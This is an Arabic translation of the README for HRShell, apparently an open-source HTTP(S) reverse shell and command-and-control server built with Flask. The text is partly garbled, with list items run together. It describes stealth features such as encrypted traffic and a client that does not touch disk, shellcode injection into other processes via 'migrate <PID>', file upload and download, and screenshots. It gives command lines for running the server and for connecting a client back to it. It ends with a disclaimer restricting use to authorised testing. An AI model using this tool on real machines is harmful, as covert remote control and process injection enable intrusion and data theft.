
HRShell هي صدفة عكسية عبر HTTPS/HTTP مبنية باستخدام Flask. وهي خادم C2 متقدم يضم العديد من الميزات والإمكانيات.
HRShell هي شل عكسية عبر HTTPS/HTTP مبنية باستخدام Flask ومتوافقة مع python 3.x. تم اختبار client.py بنجاح على:
بينما server.py متوافق مع أنظمة Unix (دعم Windows قريباً...)
migrate <PID>) بتحديد معرف العملية
cd والمتغيرات).history تفاعلي متاح على أنظمة Unix.download/upload/screenshot/hex متاحة.|) والأوامر المتسلسلة (;).gunicorn و .*لتغييرات الإصدارات، راجع CHANGELOG.
HRShell خفي لأنه يستخدم بروتوكول HTTP(S) كطريقة اتصال بين العميل والخادم. بالإضافة إلى ذلك، عند استخدام TLS، يكون حركة المرور مشفرة أيضًا. أيضًا إذا لم يتم كتابة الشهادة (CERT) يدويًا في العميل (وهو خيار ممكن) ولم يتم استخدام أمر upload، فإن client.py لا يلمس القرص إطلاقًا.
جانب الخادم:
ما لم يتم تحديد خيار --http، يكون server.py افتراضيًا HTTPS باستخدام شهادات فورية، نظرًا لأن الشهادات الفورية هي ميزة مدمجة في Flask. ولكن إذا تم تحديد خيار -s tornado لجعل الخادم يستخدم TLS، فيجب تحديد خيار --cert و --key على النحو التالي:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
يمكن استخدام شهادات "حقيقية" أو طريقة أخرى لتوليد زوج شهادة/مفتاح مثل استخدام mkcert أو openssl مباشرة كما يلي:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
يمكن أيضًا استخدام زوج شهادة/مفتاح مع خادم flask:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ إذا كان الخادم يستخدم TLS، فلا يمكن للعميل من حيث التصميم استخدام
http://...للاتصال بالخادم، بل يجب استخدامhttpsبدلاً من ذلك.
جانب العميل: افتراضيًا، يكون التحقق من SSL معطلًا في العميل، إلا إذا:
--cert مثل:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT، بدلاً من القيمة الافتراضية None، مسبقًا بشهادة صالحة مثل:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
client.py إنشاء ملف .cert.pem مخفي تلقائيًا وسيستخدمه بدلاً من ذلك.⚠️ أن تعطيل التحقق من SSL افتراضيًا على العميل لا يعني بأي حال أن TLS معطل أيضًا، سيتم تمكين TLS إذا استخدمه الخادم - لذا يعتمد TLS كليًا على الخادم. خيار
--certعلى العميل موجود فقط كطريقة بديلة لوجود جلسة مشفرة بين الخادم والعميل، وهذا كل شيء.
يوجد "وضعان" لحقن شيل الكود باستخدام الأمرين التاليين على التوالي:
migrate <PID>: باستخدام هذا الأمر يمكننا حقن شيل الكود في مساحة الذاكرة لعملية أخرى عن طريق تحديد معرف العملية الخاص بها. حاليًا، يمكن تطبيق هذا الأمر فقط على منصات Windows x86/x64!
inject shellcode: باستخدام هذا الأمر، يتم إنشاء خيط جديد (أو عملية فرعية على أنظمة unix) من عمليتنا الحالية ويتم حقن شيل الكود في مساحة الذاكرة الخاصة به. ونتيجة لذلك، لا تتأثر شل HTTP(S) الخاصة بنا بالحقن. المنصات التي يمكن تطبيق هذا الأمر عليها هي: Unix x86/x64, Windows x86!
هناك طريقتان يمكنك من خلالها تحديد/تعيين نوع شيل الكود الذي تريد أن ينفذه العميل:
shellcode مسبقًا في برنامج client.py النصي ليكون شيل كود صالحًا أوset shellcode <shellcode-id> للقيام بذلك بسرعة. باستخدام هذا الأمر يمكنك تحديث شيل الكود الخاص بك على جانب العميل من جانب الخادم عدة مرات كما تريد!
الطريقة الأولى واضحة ومباشرة. ومع ذلك، لاستخدام الطريقة الثانية والأكثر ملاءمة (نظرًا لأنه يمكنك أيضًا تعديل شيل كود تم تعيينه بالفعل) يجب عليك إعداد برنامج shellcodes/utils.py النصي بحيث يحتوي على شيل الكود (أكواد) الذي تختاره. يحتوي البرنامج النصي على مثال لكيفية القيام بذلك.
💡 يمكنك تعديل/تحديث برنامج
shellcodes/utils.pyالنصي حتى بعد تشغيلserver.pyعدة مرات كما تريد، حيث سيستخدمserver.pyبشكل ديناميكي الإصدار الأحدث/الأكثر حداثة. بهذه الطريقة يمكنك تعيين وتعديل شيل الكودات أثناء العمل...
الأوامر الخاصة:
أي أمر آخر مدعوم إذا كان غير تفاعلي مثل مثل gdb, top إلخ... أيضًا بكتابة python server.py -h أو python client.py -h يمكنك الحصول على معلومات حول الوسائط المتاحة للخادم والعميل.
ملاحظة: إذا كان عميل متصل بالخادم ونريد إنهاء الخادم، قبل الضغط على CTRL+C، يجب علينا إغلاق الاتصال باستخدام الأمر exit.
جانب العميل:
لإنشاء أمر مخصص، بشكل عام:
elif أيضًا في جانب العميل.جانب الخادم:
إذا كان الأمر يتطلب وجود نقطة نهاية جديدة في جانب الخادم، فعندئذ:
@app.route('/custom_endpoint/<arg>')
def custom_endpoint(arg):
"""
documentation if needed
"""
...
return ...
handleGET() لتوجيه العميل إلى تلك النقطة النهائية:
@app.route('/')
def handleGET():
...
return redirect(url_for('custom_endpoint',
arg=...)
)
handlePOST() لمعالجة عرض النتائج.كلا البرنامجين النصيين (server.py و client.py) يمكن تخصيصهما من خلال الوسائط:
server.py
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]
server.py: خادم شل عكسي عبر HTTP(S) مع ميزات متقدمة.
الوسائط:
-h, --help عرض رسالة المساعدة هذه والخروج
-s , --server تحديد خادم HTTP(S) لاستخدامه (الافتراضي: flask).
-c , --client قبول اتصالات فقط من العميل/IP المحدد.
--host تحديد IP لاستخدامه (الافتراضي: 0.0.0.0).
-p , --port تحديد منفذ لاستخدامه (الافتراضي: 5000).
--http تعطيل TLS واستخدام HTTP بدلاً من ذلك.
--cert تحديد شهادة لاستخدامها (الافتراضي: None).
--key تحديد المفتاح الخاص المقابل لاستخدامه (الافتراضي: None).
client.py
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]
client.py: عميل HTTP(S) مع ميزات متقدمة.
الوسائط:
-h, --help عرض رسالة المساعدة هذه والخروج
-s , --server تحديد خادم HTTP(S) للاتصال به.
-c , --cert تحديد شهادة لاستخدامها.
-p , --proxy تحديد بروكسي لاستخدامه [الصيغة: host:port]
لتثبيت متطلبات الخادم:
pip install -r requirements.txt --upgrade --user
نرحب بالملاحظات والمساهمات. إذا وجدت أي خطأ أو لديك طلب ميزة، فلا تتردد في فتح issue، وبمجرد مراجعته سأحاول إصلاحه.
هذه الأداة مخصصة فقط لأغراض الاختبار والأكاديمية ولا يمكن استخدامها إلا حيث تم الحصول على موافقة صارمة. لا تستخدمها لأغراض غير قانونية! تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يتحملون مسؤولية أي سوء استخدام أو ضرر ناتج عن هذه الأداة والبرنامج بشكل عام.
hexdump الخاصة بالعميل مأخوذة من هذه الـ gist الرائعة.هذا المشروع مرخص تحت رخصة GPLv3 - راجع ملف LICENSE للحصول على التفاصيل.
server.py و client.py قابلان للتوسع بسهولة.